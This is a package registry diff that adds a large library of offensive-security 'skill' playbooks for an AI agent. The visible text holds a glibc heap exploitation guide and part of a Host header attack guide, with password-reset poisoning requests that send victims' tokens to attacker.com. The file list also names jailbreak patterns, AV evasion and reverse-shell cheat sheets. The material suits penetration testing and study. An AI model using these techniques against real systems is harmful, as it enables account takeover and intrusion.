ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,217 @@
1
+ ---
2
+ name: heap-exploitation
3
+ description: >-
4
+ Heap exploitation playbook. Use when targeting ptmalloc2/glibc heap vulnerabilities including UAF, double free, overflow, off-by-one/null, and leveraging tcache/fastbin/unsortedbin attacks for arbitrary write or code execution.gated: true
5
+ ---
6
+
7
+ # SKILL: Heap Exploitation — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert glibc heap exploitation techniques. Covers ptmalloc2 internals, bin structures, tcache mechanics, libc/heap leak methods, and attack selection by glibc version. Distilled from ctf-wiki heap sections, how2heap, and real-world exploitation. Base models often confuse glibc version constraints and miss safe-linking (PROTECT_PTR) introduced in 2.32.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — when the overflow is on the stack rather than the heap
14
+ - [format-string-exploitation](../format-string-exploitation/SKILL.md) — leak heap/libc addresses via format string
15
+ - [arbitrary-write-to-rce](../arbitrary-write-to-rce/SKILL.md) — convert heap arbitrary write into code execution
16
+ - [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — bypass ASLR/RELRO to use heap write effectively
17
+
18
+ ### Advanced References
19
+
20
+ - [HOUSE_OF_TECHNIQUES.md](./HOUSE_OF_TECHNIQUES.md) — House of Force/Spirit/Orange/Einherjar/Roman/Pig/Banana/Cat/Apple and tcache attacks
21
+ - [IO_FILE_EXPLOITATION.md](./IO_FILE_EXPLOITATION.md) — _IO_FILE vtable hijack, FSOP, stdout/stdin abuse, exit flow exploitation
22
+
23
+ ---
24
+
25
+ ## 1. PTMALLOC2 STRUCTURE QUICK REFERENCE
26
+
27
+ ### malloc_chunk Layout (64-bit)
28
+
29
+ ```
30
+ chunk pointer (returned by malloc - 0x10)
31
+ ┌──────────────────────────┐
32
+ 0x00 │ prev_size (if prev free)│
33
+ 0x08 │ size | A | M | P │ ← P=PREV_INUSE, M=IS_MMAPPED, A=NON_MAIN_ARENA
34
+ ├──────────────────────────┤ ← user data starts here (returned pointer)
35
+ 0x10 │ fd (if free) │ ← forward pointer to next free chunk
36
+ 0x18 │ bk (if free) │ ← backward pointer to prev free chunk
37
+ 0x20 │ fd_nextsize (large only)│
38
+ 0x28 │ bk_nextsize (large only)│
39
+ └──────────────────────────┘
40
+ ```
41
+
42
+ ### Bin Types
43
+
44
+ | Bin | Size Range (64-bit) | Structure | LIFO/FIFO |
45
+ |---|---|---|---|
46
+ | tcache (per-thread) | ≤ 0x410 (7 entries per size) | Singly linked (next pointer) | LIFO |
47
+ | fastbin | ≤ 0x80 (default) | Singly linked (fd) | LIFO |
48
+ | unsortedbin | Any freed size | Doubly linked circular | FIFO |
49
+ | smallbin | < 0x400 | Doubly linked circular | FIFO |
50
+ | largebin | ≥ 0x400 | Doubly linked + size-sorted | Sorted |
51
+
52
+ ### Key Global Structures
53
+
54
+ | Structure | Location | Purpose |
55
+ |---|---|---|
56
+ | `main_arena` | libc .data segment | Contains bin heads, top chunk, system_mem |
57
+ | `mp_` | libc .data | malloc parameters (tcache settings, mmap threshold) |
58
+ | `tcache_perthread_struct` | Heap (first allocation) | Per-thread tcache bins and counts |
59
+
60
+ ---
61
+
62
+ ## 2. LEAK METHODS
63
+
64
+ ### Libc Base Leak
65
+
66
+ | Method | Precondition | Technique |
67
+ |---|---|---|
68
+ | Unsortedbin fd/bk | Free a chunk > tcache range (or fill tcache) | fd/bk → `main_arena + 0x60` (or +0x70 depending on version) → libc base |
69
+ | Smallbin fd/bk | Chunk moved from unsortedbin to smallbin | Same as unsortedbin leak |
70
+ | stdout FILE leak | Write to `_IO_2_1_stdout_` | Corrupt `_IO_write_base` to leak libc data (see IO_FILE) |
71
+
72
+ ### Heap Base Leak
73
+
74
+ | Method | Precondition | Technique |
75
+ |---|---|---|
76
+ | Tcache fd pointer | Free two tcache chunks, read first's fd | fd → heap address (XOR'd in ≥ 2.32) |
77
+ | Fastbin fd | Free two fastbin chunks | fd → heap address |
78
+ | UAF read | Use-after-free on freed chunk | Read fd/bk directly |
79
+
80
+ ### Safe-Linking Decode (glibc ≥ 2.32)
81
+
82
+ ```python
83
+ # PROTECT_PTR: fd_stored = (chunk_addr >> 12) ^ real_fd
84
+ # To decode: real_fd = fd_stored ^ (chunk_addr >> 12)
85
+ # To encode: fd_stored = (chunk_addr >> 12) ^ target_addr
86
+
87
+ def deobfuscate(stored_fd, chunk_addr):
88
+ return stored_fd ^ (chunk_addr >> 12)
89
+
90
+ def obfuscate(target, chunk_addr):
91
+ return (chunk_addr >> 12) ^ target
92
+ ```
93
+
94
+ ---
95
+
96
+ ## 3. ATTACK CATEGORIES BY GLIBC VERSION
97
+
98
+ ### glibc < 2.26 (No tcache)
99
+
100
+ | Attack | Primitive Needed | Result |
101
+ |---|---|---|
102
+ | Fastbin dup | Double free | Arbitrary allocation |
103
+ | Unsortedbin attack | Corrupt unsortedbin bk | Write `main_arena` addr to target (used for __malloc_hook nearby overwrite) |
104
+ | Unlink attack | Heap overflow into prev_size + fd/bk | Arbitrary write (with known heap pointer) |
105
+ | House of Force | Top chunk size overwrite | Arbitrary allocation |
106
+ | House of Spirit | Write fake chunk header | Fastbin allocation at fake chunk |
107
+ | Off-by-one null | Null byte overflow into next chunk size | Overlapping chunks |
108
+
109
+ ### glibc 2.26–2.28 (tcache, no key)
110
+
111
+ | Attack | Notes |
112
+ |---|---|
113
+ | Tcache poisoning | Overwrite tcache fd → arbitrary allocation, no size check |
114
+ | Tcache dup | Double free into tcache (no double-free detection yet) |
115
+ | All previous attacks | Still work, but chunks go to tcache first |
116
+
117
+ ### glibc 2.29–2.31 (tcache key introduced)
118
+
119
+ | Attack | Bypass for tcache key |
120
+ |---|---|
121
+ | Tcache dup | Corrupt `key` field (at chunk+0x18) before second free |
122
+ | House of Botcake | Double free: one in unsortedbin, one in tcache → overlapping |
123
+ | Tcache stashing unlink | Abuse smallbin→tcache refill to get arbitrary chunk |
124
+
125
+ ### glibc 2.32–2.33 (safe-linking / PROTECT_PTR)
126
+
127
+ | Attack | Adaptation |
128
+ |---|---|
129
+ | Tcache poisoning | Encode target with `(chunk_addr >> 12) ^ target` |
130
+ | Heap leak required | Need heap addr to decode/encode safe-linked pointers |
131
+ | Fastbin dup | Same encoding required |
132
+
133
+ ### glibc ≥ 2.34 (hooks removed)
134
+
135
+ | Change | Impact |
136
+ |---|---|
137
+ | `__malloc_hook` removed | Cannot overwrite hook for one_gadget |
138
+ | `__free_hook` removed | Cannot overwrite hook |
139
+ | `__realloc_hook` removed | Cannot use realloc trick for one_gadget constraints |
140
+
141
+ **Post-2.34 targets**: see [arbitrary-write-to-rce](../arbitrary-write-to-rce/SKILL.md) for `_IO_FILE`, `exit_funcs`, `TLS_dtor_list`, `_dl_fini`.
142
+
143
+ ---
144
+
145
+ ## 4. COMMON VULNERABILITY PATTERNS
146
+
147
+ | Vulnerability | Description | Exploitation Path |
148
+ |---|---|---|
149
+ | UAF (Use-After-Free) | Access chunk after free | Read: leak fd/bk; Write: corrupt fd for tcache poisoning |
150
+ | Double Free | free() same chunk twice | Tcache dup (bypass key) or fastbin dup |
151
+ | Heap Overflow | Write past chunk boundary | Corrupt next chunk's metadata (size, fd, bk) |
152
+ | Off-by-one | One byte overflow | Null byte → shrink next chunk size → overlapping chunks |
153
+ | Off-by-null | Specifically `\x00` overflow | Clear PREV_INUSE → trigger backward consolidation |
154
+ | Uninitialized read | Read heap memory without clearing | Leak fd/bk from recycled chunk |
155
+
156
+ ---
157
+
158
+ ## 5. TOOLS
159
+
160
+ ```bash
161
+ # pwndbg heap inspection
162
+ pwndbg> heap # display all chunks
163
+ pwndbg> bins # show all bin contents
164
+ pwndbg> tcachebins # tcache status
165
+ pwndbg> fastbins # fastbin status
166
+ pwndbg> unsortedbin # unsortedbin content
167
+ pwndbg> vis_heap_chunks # visual heap layout
168
+ pwndbg> find_fake_fast &__malloc_hook # find nearby fake fastbin chunks
169
+
170
+ # how2heap — reference implementations
171
+ git clone https://github.com/shellphish/how2heap
172
+
173
+ # heapinspect
174
+ pip install heapinspect
175
+ heapinspect <pid>
176
+
177
+ # pwntools helpers
178
+ from pwn import *
179
+ libc = ELF('./libc.so.6')
180
+ print(hex(libc.symbols['__malloc_hook']))
181
+ print(hex(libc.symbols['__free_hook']))
182
+ ```
183
+
184
+ ---
185
+
186
+ ## 6. DECISION TREE
187
+
188
+ ```
189
+ Heap vulnerability identified
190
+ ├── What is the primitive?
191
+ │ ├── UAF (read + write)
192
+ │ │ ├── Can read freed chunk? → Leak libc (unsortedbin) or heap (tcache fd)
193
+ │ │ └── Can write freed chunk? → Tcache poisoning / fastbin dup
194
+ │ ├── Double free
195
+ │ │ ├── glibc < 2.29 → direct tcache dup
196
+ │ │ ├── glibc 2.29-2.31 → corrupt tcache key first, or House of Botcake
197
+ │ │ └── glibc ≥ 2.32 → need heap leak for safe-linking encode
198
+ │ ├── Heap overflow (controlled size)
199
+ │ │ ├── Overwrite next chunk size → overlapping chunks → UAF
200
+ │ │ └── Overwrite fd directly → arbitrary allocation
201
+ │ ├── Off-by-one / off-by-null
202
+ │ │ ├── Null byte into size → House of Einherjar (backward consolidation)
203
+ │ │ └── One byte into size → shrink chunk, create overlap
204
+ │ └── Arbitrary write (from overlap or poisoned allocation)
205
+ │ ├── glibc < 2.34 → __malloc_hook / __free_hook → one_gadget
206
+ │ ├── glibc ≥ 2.34 → _IO_FILE vtable, exit_funcs, TLS_dtor_list
207
+ │ └── Partial RELRO → GOT overwrite
208
+
209
+ ├── Need libc leak?
210
+ │ ├── Free chunk into unsortedbin (size > 0x410 or fill 7 tcache)
211
+ │ ├── Read fd/bk → main_arena offset → libc base
212
+ │ └── Alternative: stdout FILE partial overwrite for leak
213
+
214
+ └── Need heap leak? (glibc ≥ 2.32)
215
+ ├── Read tcache fd from freed chunk
216
+ └── Decode: real_addr = stored_fd ^ (chunk_addr >> 12)
217
+ ```
@@ -0,0 +1,323 @@
1
+ ---
2
+ name: http-host-header-attacks
3
+ description: >-
4
+ HTTP Host header injection and routing abuse playbook. Use when the application
5
+ trusts the Host header for generating URLs, routing requests, or access control
6
+ — enabling password reset poisoning, web cache poisoning, SSRF via routing,
7
+ and virtual host bypass.gated: true
8
+ ---
9
+
10
+ # SKILL: HTTP Host Header Attacks — Injection & Routing Abuse
11
+
12
+ > **AI LOAD INSTRUCTION**: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
13
+
14
+ ## 0. RELATED ROUTING
15
+
16
+ - [web-cache-deception](../web-cache-deception/SKILL.md) when Host injection is combined with cache behavior
17
+ - [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when Host header routes requests to internal services
18
+ - [open-redirect](../open-redirect/SKILL.md) when Host injection causes redirect to attacker domain
19
+ - [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) when Host manipulation helps bypass WAF routing
20
+ - [request-smuggling](../request-smuggling/SKILL.md) when smuggling enables Host header manipulation past front-end validation
21
+ - [subdomain-takeover](../subdomain-takeover/SKILL.md) when Host routing exposes internal vhosts resolvable via subdomain
22
+
23
+ ---
24
+
25
+ ## 1. ATTACK SURFACE
26
+
27
+ The Host header is used by web applications and infrastructure for:
28
+
29
+ | Usage | Exploitation |
30
+ |---|---|
31
+ | URL generation (password reset links, email links) | Inject attacker domain → user clicks link to attacker |
32
+ | Virtual host routing | Spoof Host → access internal/admin vhost |
33
+ | Cache key component | Inject different Host → poison cache for all users |
34
+ | Reverse proxy routing | Host determines backend → SSRF to internal services |
35
+ | Access control decisions | Host-based ACLs can be bypassed |
36
+ | Canonical URL / SEO redirects | Host injection → open redirect |
37
+
38
+ ---
39
+
40
+ ## 2. PASSWORD RESET POISONING
41
+
42
+ The most common and impactful Host header attack.
43
+
44
+ ### How It Works
45
+
46
+ ```
47
+ 1. Attacker requests password reset for victim@target.com
48
+ 2. Attacker modifies Host header in the reset request:
49
+ POST /forgot-password HTTP/1.1
50
+ Host: attacker.com ← injected
51
+
52
+ email=victim@target.com
53
+
54
+ 3. Server generates reset link using Host header value:
55
+ "Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
56
+
57
+ 4. Victim receives email, clicks link → token sent to attacker
58
+ 5. Attacker uses token on real target.com to reset password
59
+ ```
60
+
61
+ ### Testing
62
+
63
+ ```http
64
+ POST /forgot-password HTTP/1.1
65
+ Host: attacker-collaborator.burpcollaborator.net
66
+ Content-Type: application/x-www-form-urlencoded
67
+
68
+ email=victim@target.com
69
+ ```
70
+
71
+ Check Burp Collaborator for incoming HTTP request with the reset token.
72
+
73
+ ### Variants
74
+
75
+ - Some apps concatenate: `Host: target.com.attacker.com` → link becomes `https://target.com.attacker.com/reset?token=xxx`
76
+ - Some apps use only the port portion: `Host: target.com:@attacker.com` → parsed as `attacker.com` in some URL parsers
77
+
78
+ ---
79
+
80
+ ## 3. WEB CACHE POISONING VIA HOST
81
+
82
+ ```
83
+ 1. Attacker sends:
84
+ GET / HTTP/1.1
85
+ Host: attacker.com
86
+
87
+ 2. If cache keys on URL path but NOT on Host header:
88
+ → Response cached with attacker.com in generated links/content
89
+
90
+ 3. Subsequent users requesting GET / receive the poisoned response
91
+ → Links point to attacker.com, scripts load from attacker.com
92
+ ```
93
+
94
+ **Key requirement**: Cache must not include Host header in cache key, but application must use Host in response body.
95
+
96
+ Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.
97
+
98
+ ---
99
+
100
+ ## 4. SSRF VIA HOST ROUTING
101
+
102
+ When a reverse proxy uses Host header to route to backends:
103
+
104
+ ```
105
+ GET /api/internal HTTP/1.1
106
+ Host: internal-admin-panel.local
107
+
108
+ → Reverse proxy routes request to internal-admin-panel.local
109
+ → Attacker accesses internal service
110
+ ```
111
+
112
+ Common in:
113
+ - Nginx `proxy_pass` based on `$host`
114
+ - Apache `ProxyPass` with virtual host routing
115
+ - Kubernetes Ingress controllers
116
+ - Cloud load balancers
117
+
118
+ ---
119
+
120
+ ## 5. VIRTUAL HOST BYPASS
121
+
122
+ Many servers host multiple applications on the same IP via virtual hosting:
123
+
124
+ ```
125
+ Target: Host: www.target.com → public site
126
+ Hidden: Host: admin.target.com → admin panel (not in public DNS)
127
+ Hidden: Host: staging.target.com → staging environment
128
+ Hidden: Host: localhost → server status page
129
+ ```
130
+
131
+ ### Discovery
132
+
133
+ ```
134
+ 1. Brute-force Host header with common vhost names:
135
+ ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
136
+
137
+ 2. Try special values:
138
+ Host: localhost
139
+ Host: 127.0.0.1
140
+ Host: admin
141
+ Host: internal
142
+ Host: intranet
143
+
144
+ 3. Compare response size/content to identify different vhosts
145
+ ```
146
+
147
+ ---
148
+
149
+ ## 6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED
150
+
151
+ ### 6.1 Override Headers
152
+
153
+ Many frameworks/proxies trust these headers over the Host header:
154
+
155
+ | Header | Frameworks That Trust It |
156
+ |---|---|
157
